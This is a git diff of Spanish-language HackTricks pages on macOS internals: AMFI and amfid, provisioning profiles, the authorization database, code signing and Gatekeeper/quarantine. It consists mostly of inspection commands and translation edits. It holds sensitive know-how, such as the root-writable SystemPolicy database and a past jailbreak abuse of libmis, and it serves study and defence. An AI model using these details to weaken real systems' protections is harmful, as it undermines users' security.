+* **`proc_check_mprotect`**: Niega si `mprotect` se llama con la bandera `VM_PROT_TRUSTED`, que indica que la región debe ser tratada como si tuviera una firma de código válida.
+* **`vnode_check_exec`**: Se llama cuando se cargan archivos ejecutables en memoria y establece `cs_hard | cs_kill`, que matará el proceso si alguna de las páginas se vuelve inválida
+* **`vnode_check_getextattr`**: MacOS: Verifica `com.apple.root.installed` y `isVnodeQuarantined()`
+* **`vnode_check_setextattr`**: Como obtener + com.apple.private.allow-bless y derecho equivalente de instalador interno
+* &#x20;**`vnode_check_signature`**: Código que llama a XNU para verificar la firma de código utilizando derechos, caché de confianza y `amfid`
+* &#x20;**`proc_check_run_cs_invalid`**: Intercepta llamadas a `ptrace()` (`PT_ATTACH` y `PT_TRACE_ME`). Verifica si alguno de los derechos `get-task-allow`, `run-invalid-allow` y `run-unsigned-code` y si ninguno, verifica si se permite la depuración.
+* **`proc_check_map_anon`**: Si mmap se llama con la bandera **`MAP_JIT`**, AMFI verificará el derecho `dynamic-codesigning`.
+
+`AMFI.kext` también expone una API para otras extensiones del kernel, y es posible encontrar sus dependencias con:
+```bash
+kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
+Executing: /usr/bin/kmutil showloaded
+No variant specified, falling back to release
+8   com.apple.kec.corecrypto
+19   com.apple.driver.AppleMobileFileIntegrity
+22   com.apple.security.sandbox
+24   com.apple.AppleSystemPolicy
+67   com.apple.iokit.IOUSBHostFamily
+70   com.apple.driver.AppleUSBTDM
+71   com.apple.driver.AppleSEPKeyStore
+74   com.apple.iokit.EndpointSecurity
+81   com.apple.iokit.IOUserEthernet
+101   com.apple.iokit.IO80211Family
+102   com.apple.driver.AppleBCMWLANCore
+118   com.apple.driver.AppleEmbeddedUSBHost
+134   com.apple.iokit.IOGPUFamily
+135   com.apple.AGXG13X
+137   com.apple.iokit.IOMobileGraphicsFamily
+138   com.apple.iokit.IOMobileGraphicsFamily-DCP
+162   com.apple.iokit.IONVMeFamily
+```
+## amfid
+
+Este es el demonio que se ejecuta en modo usuario que `AMFI.kext` utilizará para verificar las firmas de código en modo usuario.\
+Para que `AMFI.kext` se comunique con el demonio, utiliza mensajes mach a través del puerto `HOST_AMFID_PORT`, que es el puerto especial `18`.
+
+Ten en cuenta que en macOS ya no es posible que los procesos root secuestren puertos especiales, ya que están protegidos por `SIP` y solo launchd puede acceder a ellos. En iOS se verifica que el proceso que envía la respuesta tenga el CDHash codificado de `amfid`.
+
+Es posible ver cuándo se solicita a `amfid` que verifique un binario y la respuesta de este depurándolo y estableciendo un punto de interrupción en `mach_msg`.
+
+Una vez que se recibe un mensaje a través del puerto especial, **MIG** se utiliza para enviar cada función a la función que está llamando. Las funciones principales fueron revertidas y explicadas dentro del libro.
+
+## Provisioning Profiles
+
+Un perfil de aprovisionamiento se puede utilizar para firmar código. Hay perfiles de **Desarrollador** que se pueden utilizar para firmar código y probarlo, y perfiles **Empresariales** que se pueden utilizar en todos los dispositivos.
+
+Después de que una aplicación se envía a la Apple Store, si es aprobada, es firmada por Apple y el perfil de aprovisionamiento ya no es necesario.
+
+Un perfil generalmente utiliza la extensión `.mobileprovision` o `.provisionprofile` y se puede volcar con:
+```bash
+openssl asn1parse -inform der -in /path/to/profile
+
+# Or
+
+security cms -D -i /path/to/profile
+```
+Aunque a veces se les llama certificados, estos perfiles de aprovisionamiento tienen más que un certificado:
+
+* **AppIDName:** El Identificador de Aplicación
+* **AppleInternalProfile**: Designa esto como un perfil interno de Apple
+* **ApplicationIdentifierPrefix**: Precedido al AppIDName (igual que TeamIdentifier)
+* **CreationDate**: Fecha en formato `YYYY-MM-DDTHH:mm:ssZ`
+* **DeveloperCertificates**: Un array de (usualmente uno) certificado(s), codificado como datos Base64
+* **Entitlements**: Los derechos permitidos con derechos para este perfil
+* **ExpirationDate**: Fecha de expiración en formato `YYYY-MM-DDTHH:mm:ssZ`
+* **Name**: El Nombre de la Aplicación, el mismo que AppIDName
+* **ProvisionedDevices**: Un array (para certificados de desarrollador) de UDIDs para los que este perfil es válido
+* **ProvisionsAllDevices**: Un booleano (verdadero para certificados empresariales)
+* **TeamIdentifier**: Un array de (usualmente uno) cadena(s) alfanumérica(s) utilizadas para identificar al desarrollador para propósitos de interacción entre aplicaciones
+* **TeamName**: Un nombre legible por humanos utilizado para identificar al desarrollador
+* **TimeToLive**: Validez (en días) del certificado
+* **UUID**: Un Identificador Único Universal para este perfil
+* **Version**: Actualmente establecido en 1
+
+Tenga en cuenta que la entrada de derechos contendrá un conjunto restringido de derechos y el perfil de aprovisionamiento solo podrá otorgar esos derechos específicos para evitar otorgar derechos privados de Apple.
+
+Tenga en cuenta que los perfiles generalmente se encuentran en `/var/MobileDeviceProvisioningProfiles` y es posible verificarlos con **`security cms -D -i /path/to/profile`**
+
+## **libmis.dyld**
+
+Esta es la biblioteca externa que `amfid` llama para preguntar si debe permitir algo o no. Esto ha sido abusado históricamente en el jailbreak ejecutando una versión con puerta trasera que permitiría todo.
+
+En macOS esto está dentro de `MobileDevice.framework`.
+
+## AMFI Trust Caches
+
+iOS AMFI mantiene una lista de hashes conocidos que están firmados ad-hoc, llamada **Trust Cache** y se encuentra en la sección `__TEXT.__const` del kext. Tenga en cuenta que en operaciones muy específicas y sensibles es posible extender esta Trust Cache con un archivo externo.
+
+## References
+
+* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md

@@ -0,0 +1,112 @@
+# macOS Authorizations DB & Authd
+
+
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+## **Base de datos de autorizaciones**
+
+La base de datos ubicada en `/var/db/auth.db` es una base de datos utilizada para almacenar permisos para realizar operaciones sensibles. Estas operaciones se realizan completamente en **espacio de usuario** y generalmente son utilizadas por **servicios XPC** que necesitan verificar **si el cliente que llama está autorizado** para realizar cierta acción verificando esta base de datos.
+
+Inicialmente, esta base de datos se crea a partir del contenido de `/System/Library/Security/authorization.plist`. Luego, algunos servicios pueden agregar o modificar esta base de datos para añadir otros permisos.
+
+Las reglas se almacenan en la tabla `rules` dentro de la base de datos y contienen las siguientes columnas:
+
+* **id**: Un identificador único para cada regla, incrementado automáticamente y que sirve como clave primaria.
+* **name**: El nombre único de la regla utilizado para identificarla y referenciarla dentro del sistema de autorización.
+* **type**: Especifica el tipo de la regla, restringido a los valores 1 o 2 para definir su lógica de autorización.
+* **class**: Categoriza la regla en una clase específica, asegurando que sea un número entero positivo.
+* "allow" para permitir, "deny" para denegar, "user" si la propiedad de grupo indica un grupo cuya membresía permite el acceso, "rule" indica en un array una regla que debe cumplirse, "evaluate-mechanisms" seguido de un array de `mechanisms` que son ya sea integrados o un nombre de un paquete dentro de `/System/Library/CoreServices/SecurityAgentPlugins/` o /Library/Security//SecurityAgentPlugins
+* **group**: Indica el grupo de usuarios asociado con la regla para la autorización basada en grupos.
+* **kofn**: Representa el parámetro "k-of-n", determinando cuántas subreglas deben ser satisfechas de un número total.
+* **timeout**: Define la duración en segundos antes de que la autorización otorgada por la regla expire.
+* **flags**: Contiene varias flags que modifican el comportamiento y las características de la regla.
+* **tries**: Limita el número de intentos de autorización permitidos para mejorar la seguridad.
+* **version**: Rastrea la versión de la regla para el control de versiones y actualizaciones.
+* **created**: Registra la marca de tiempo cuando se creó la regla para fines de auditoría.
+* **modified**: Almacena la marca de tiempo de la última modificación realizada a la regla.
+* **hash**: Contiene un valor hash de la regla para asegurar su integridad y detectar manipulaciones.
+* **identifier**: Proporciona un identificador único en forma de cadena, como un UUID, para referencias externas a la regla.
+* **requirement**: Contiene datos serializados que definen los requisitos y mecanismos de autorización específicos de la regla.
+* **comment**: Ofrece una descripción o comentario legible por humanos sobre la regla para documentación y claridad.
+
+### Ejemplo
+```bash
+# List by name and comments
+sudo sqlite3 /var/db/auth.db "select name, comment from rules"
+
+# Get rules for com.apple.tcc.util.admin
+security authorizationdb read com.apple.tcc.util.admin
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+<key>class</key>
+<string>rule</string>
+<key>comment</key>
+<string>For modification of TCC settings.</string>
+<key>created</key>
+<real>701369782.01043606</real>
+<key>modified</key>
+<real>701369782.01043606</real>
+<key>rule</key>
+<array>
+<string>authenticate-admin-nonshared</string>
+</array>
+<key>version</key>
+<integer>0</integer>
+</dict>
+</plist>
+```
+Además, en [https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/](https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/) es posible ver el significado de `authenticate-admin-nonshared`:
+```json
+{
+'allow-root' : 'false',
+'authenticate-user' : 'true',
+'class' : 'user',
+'comment' : 'Authenticate as an administrator.',
+'group' : 'admin',
+'session-owner' : 'false',
+'shared' : 'false',
+'timeout' : '30',
+'tries' : '10000',
+'version' : '1'
+}
+```
+## Authd
+
+Es un demonio que recibirá solicitudes para autorizar a los clientes a realizar acciones sensibles. Funciona como un servicio XPC definido dentro de la carpeta `XPCServices/` y utiliza para escribir sus registros en `/var/log/authd.log`.
+
+Además, utilizando la herramienta de seguridad es posible probar muchas APIs de `Security.framework`. Por ejemplo, el `AuthorizationExecuteWithPrivileges` ejecutando: `security execute-with-privileges /bin/ls`
+
+Eso hará un fork y ejecutará `/usr/libexec/security_authtrampoline /bin/ls` como root, lo que pedirá permisos en un aviso para ejecutar ls como root:
+
+<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md

@@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 
 Los binarios Mach-o contienen un comando de carga llamado **`LC_CODE_SIGNATURE`** que indica el **offset** y el **tamaño** de las firmas dentro del binario. De hecho, utilizando la herramienta GUI MachOView, es posible encontrar al final del binario una sección llamada **Code Signature** con esta información:
 
-<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
 
 El encabezado mágico de la Code Signature es **`0xFADE0CC0`**. Luego tienes información como la longitud y el número de blobs del superBlob que los contiene.\
 Es posible encontrar esta información en el [código fuente aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
@@ -119,7 +119,7 @@ Note que hay diferentes versiones de esta estructura donde las antiguas pueden c
 ## Páginas de Firma de Código
 
 Hacer un hash del binario completo sería ineficiente e incluso inútil si solo se carga en memoria parcialmente. Por lo tanto, la firma de código es en realidad un hash de hashes donde cada página binaria se hash individualmente.\
-De hecho, en el código del **Directorio de Código** anterior, puedes ver que **el tamaño de la página está especificado** en uno de sus campos. Además, si el tamaño del binario no es un múltiplo del tamaño de una página, el campo **CodeLimit** especifica dónde está el final de la firma.
+De hecho, en el anterior código de **Directorio de Código** puedes ver que el **tamaño de página está especificado** en uno de sus campos. Además, si el tamaño del binario no es un múltiplo del tamaño de una página, el campo **CodeLimit** especifica dónde está el final de la firma.
 ```bash
 # Get all hashes of /bin/ps
 codesign -d -vvvvvv /bin/ps
@@ -312,7 +312,7 @@ El **kernel** es el que **verifica la firma de código** antes de permitir que e
 
 ## `cs_blobs` & `cs_blob`
 
-[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la estructura contiene la información sobre el derecho de la proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (lo cual es verificado en diferentes momentos por el OS para aplicar mecanismos de seguridad como proteger los derechos de SEND a los puertos de tarea de estos procesos).
+[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la estructura contiene la información sobre el derecho del proceso en ejecución sobre él. `csb_platform_binary` también informa si la aplicación es un binario de plataforma (lo cual es verificado en diferentes momentos por el OS para aplicar mecanismos de seguridad como proteger los derechos de SEND a los puertos de tarea de estos procesos).
 ```c
 struct cs_blob {
 struct cs_blob  *csb_next;

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md

@@ -1,8 +1,8 @@
 # macOS Gatekeeper / Quarantine / XProtect
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -33,11 +33,11 @@ Las firmas de aplicaciones, también conocidas como firmas de código, son un co
 
 Así es como funciona:
 
-1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación usando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica crear un hash criptográfico de todas las partes de la aplicación y cifrar este hash con la clave privada del desarrollador.
+1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación utilizando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica crear un hash criptográfico de todas las partes de la aplicación y cifrar este hash con la clave privada del desarrollador.
 2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
 3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
 
-Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
+Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de Internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
 
 A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estas verificaciones son satisfactorias, Apple añade un ticket a la aplicación que Gatekeeper puede verificar.
 
@@ -62,17 +62,19 @@ codesign -s <cert-name-keychain> toolsdemo
 ```
 ### Notarización
 
-El proceso de notarización de Apple sirve como una salvaguarda adicional para proteger a los usuarios de software potencialmente dañino. Implica que el **desarrollador envíe su aplicación para su examen** por parte del **Servicio de Notarización de Apple**, que no debe confundirse con la Revisión de Aplicaciones. Este servicio es un **sistema automatizado** que examina el software enviado en busca de **contenido malicioso** y cualquier problema potencial con la firma de código.
+El proceso de notarización de Apple sirve como una salvaguarda adicional para proteger a los usuarios de software potencialmente dañino. Implica que el **desarrollador envíe su aplicación para examen** por parte del **Servicio de Notaría de Apple**, que no debe confundirse con la Revisión de Aplicaciones. Este servicio es un **sistema automatizado** que examina el software enviado en busca de **contenido malicioso** y cualquier problema potencial con la firma de código.
 
-Si el software **aprueba** esta inspección sin generar preocupaciones, el Servicio de Notarización genera un ticket de notarización. El desarrollador debe **adjuntar este ticket a su software**, un proceso conocido como 'stapling'. Además, el ticket de notarización también se publica en línea donde Gatekeeper, la tecnología de seguridad de Apple, puede acceder a él.
+Si el software **pasa** esta inspección sin generar preocupaciones, el Servicio de Notaría genera un ticket de notarización. El desarrollador debe **adjuntar este ticket a su software**, un proceso conocido como 'stapling'. Además, el ticket de notarización también se publica en línea donde Gatekeeper, la tecnología de seguridad de Apple, puede acceder a él.
 
 Al momento de la primera instalación o ejecución del software por parte del usuario, la existencia del ticket de notarización - ya sea adjunto al ejecutable o encontrado en línea - **informa a Gatekeeper que el software ha sido notariado por Apple**. Como resultado, Gatekeeper muestra un mensaje descriptivo en el diálogo de lanzamiento inicial, indicando que el software ha sido sometido a verificaciones de contenido malicioso por parte de Apple. Este proceso, por lo tanto, aumenta la confianza del usuario en la seguridad del software que instala o ejecuta en sus sistemas.
 
-### Enumerando GateKeeper
+### spctl & syspolicyd
 
-GateKeeper es tanto **varios componentes de seguridad** que evitan que se ejecuten aplicaciones no confiables como también **uno de los componentes**.
+{% hint style="danger" %}
+Tenga en cuenta que a partir de la versión Sequoia, **`spctl`** ya no permite modificar la configuración de Gatekeeper.
+{% endhint %}
 
-Es posible ver el **estado** de GateKeeper con:
+**`spctl`** es la herramienta CLI para enumerar e interactuar con Gatekeeper (con el demonio `syspolicyd` a través de mensajes XPC). Por ejemplo, es posible ver el **estado** de GateKeeper con:
 ```bash
 # Check the status
 spctl --status
@@ -85,7 +87,9 @@ GateKeeper verificará si, de acuerdo con las **preferencias y la firma**, un bi
 
 <figure><img src="../../../.gitbook/assets/image (1150).png" alt=""><figcaption></figcaption></figure>
 
-La base de datos que mantiene esta configuración se encuentra en **`/var/db/SystemPolicy`**. Puede verificar esta base de datos como root con:
+**`syspolicyd`** es el principal daemon responsable de hacer cumplir Gatekeeper. Mantiene una base de datos ubicada en `/var/db/SystemPolicy` y es posible encontrar el código para soportar la [base de datos aquí](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/policydb.cpp) y la [plantilla SQL aquí](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/syspolicy.sql). Tenga en cuenta que la base de datos no está restringida por SIP y es escribible por root, y la base de datos `/var/db/.SystemPolicy-default` se utiliza como una copia de seguridad original en caso de que la otra se corrompa.
+
+Además, los paquetes **`/var/db/gke.bundle`** y **`/var/db/gkopaque.bundle`** contienen archivos con reglas que se insertan en la base de datos. Puede verificar esta base de datos como root con:
 ```bash
 # Open database
 sqlite3 /var/db/SystemPolicy
@@ -99,10 +103,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
 anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
 [...]
 ```
-Note cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store y desarrolladores identificados**.\
-Si **modificas** esa configuración a App Store, las reglas de "**Notarized Developer ID**" **desaparecerán**.
+**`syspolicyd`** también expone un servidor XPC con diferentes operaciones como `assess`, `update`, `record` y `cancel`, que también son accesibles utilizando las APIs **`SecAssessment*`** de **`Security.framework`** y **`xpctl`** en realidad se comunica con **`syspolicyd`** a través de XPC.
 
-También hay miles de reglas de **tipo GKE**:
+Nota cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store y desarrolladores identificados**.\
+Si **modificas** esa configuración a App Store, las "**reglas de Developer ID Notarizado" desaparecerán**.
+
+También hay miles de reglas de **tipo GKE** :
 ```bash
 SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
 cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@@ -111,7 +117,11 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
 cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
 cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
 ```
-Estos son hashes que provienen de **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** y **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
+Estos son hashes que provienen de:
+
+* `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
+* `/var/db/gke.bundle/Contents/Resources/gk.db`
+* `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
 
 O podrías listar la información anterior con:
 ```bash
@@ -150,27 +160,29 @@ sudo spctl --enable --label "whitelist"
 spctl --assess -v /Applications/App.app
 /Applications/App.app: accepted
 ```
+Respecto a las **extensiones del kernel**, la carpeta `/var/db/SystemPolicyConfiguration` contiene archivos con listas de kexts permitidos para ser cargados. Además, `spctl` tiene la autorización `com.apple.private.iokit.nvram-csr` porque es capaz de agregar nuevas extensiones del kernel preaprobadas que también deben guardarse en NVRAM en una clave `kext-allowed-teams`.
+
 ### Archivos en Cuarentena
 
-Al **descargar** una aplicación o archivo, aplicaciones específicas de macOS como navegadores web o clientes de correo electrónico **adjuntan un atributo de archivo extendido**, comúnmente conocido como el "**flag de cuarentena**," al archivo descargado. Este atributo actúa como una medida de seguridad para **marcar el archivo** como proveniente de una fuente no confiable (internet), y potencialmente portadora de riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo; por ejemplo, el software común de clientes de BitTorrent generalmente omite este proceso.
+Al **descargar** una aplicación o archivo, aplicaciones específicas de macOS como navegadores web o clientes de correo electrónico **adjuntan un atributo de archivo extendido**, comúnmente conocido como la "**bandera de cuarentena**," al archivo descargado. Este atributo actúa como una medida de seguridad para **marcar el archivo** como proveniente de una fuente no confiable (internet), y potencialmente portadora de riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo; por ejemplo, el software común de clientes de BitTorrent generalmente omite este proceso.
 
-**La presencia de un flag de cuarentena señala la función de seguridad Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
+**La presencia de una bandera de cuarentena señala la función de seguridad Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
 
-En el caso de que el **flag de cuarentena no esté presente** (como con archivos descargados a través de algunos clientes de BitTorrent), **las verificaciones de Gatekeeper pueden no realizarse**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
+En el caso en que la **bandera de cuarentena no esté presente** (como con archivos descargados a través de algunos clientes de BitTorrent), **las verificaciones de Gatekeeper pueden no realizarse**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
 
 {% hint style="info" %}
-**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica hacer una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de ser emitido. Por estas razones, una verificación completa de la firma de código y la notarización es **impráctica de ejecutar cada vez que se lanza una aplicación**.
+**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica hacer una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de haber sido emitido. Por estas razones, una verificación completa de la firma de código y la notarización es **impráctica de ejecutar cada vez que se lanza una aplicación**.
 
-Por lo tanto, estas verificaciones **solo se realizan al ejecutar aplicaciones con el atributo de cuarentena.**
+Por lo tanto, estas verificaciones se **realizan solo al ejecutar aplicaciones con el atributo de cuarentena.**
 {% endhint %}
 
 {% hint style="warning" %}
 Este atributo debe ser **establecido por la aplicación que crea/descarga** el archivo.
 
-Sin embargo, los archivos que están en sandbox tendrán este atributo establecido en cada archivo que creen. Y las aplicaciones no sandbox pueden establecerlo ellas mismas, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) en el **Info.plist**, lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados,
+Sin embargo, los archivos que están en sandbox tendrán este atributo establecido en cada archivo que creen. Y las aplicaciones no sandbox pueden establecerlo ellas mismas, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) en el **Info.plist**, lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados,
 {% endhint %}
 
-Además, todos los archivos creados por un proceso que llama a **`qtn_proc_apply_to_self`** están en cuarentena. O la API **`qtn_file_apply_to_path`** añade el atributo de cuarentena a una ruta de archivo especificada.
+Además, todos los archivos creados por un proceso que llama a **`qtn_proc_apply_to_self`** están en cuarentena. O la API **`qtn_file_apply_to_path`** agrega el atributo de cuarentena a una ruta de archivo especificada.
 
 Es posible **verificar su estado y habilitar/deshabilitar** (se requiere root) con:
 ```bash
@@ -203,7 +215,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
 # Brave -- App
 # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
 ```
-En realidad, un proceso "podría establecer banderas de cuarentena en los archivos que crea" (intenté aplicar la bandera USER_APPROVED en un archivo creado, pero no se aplica):
+En realidad, un proceso "podría establecer banderas de cuarentena en los archivos que crea" (ya intenté aplicar la bandera USER_APPROVED en un archivo creado, pero no se aplica):
 
 <details>
 
@@ -283,15 +295,28 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
 ```
 {% endcode %}
 
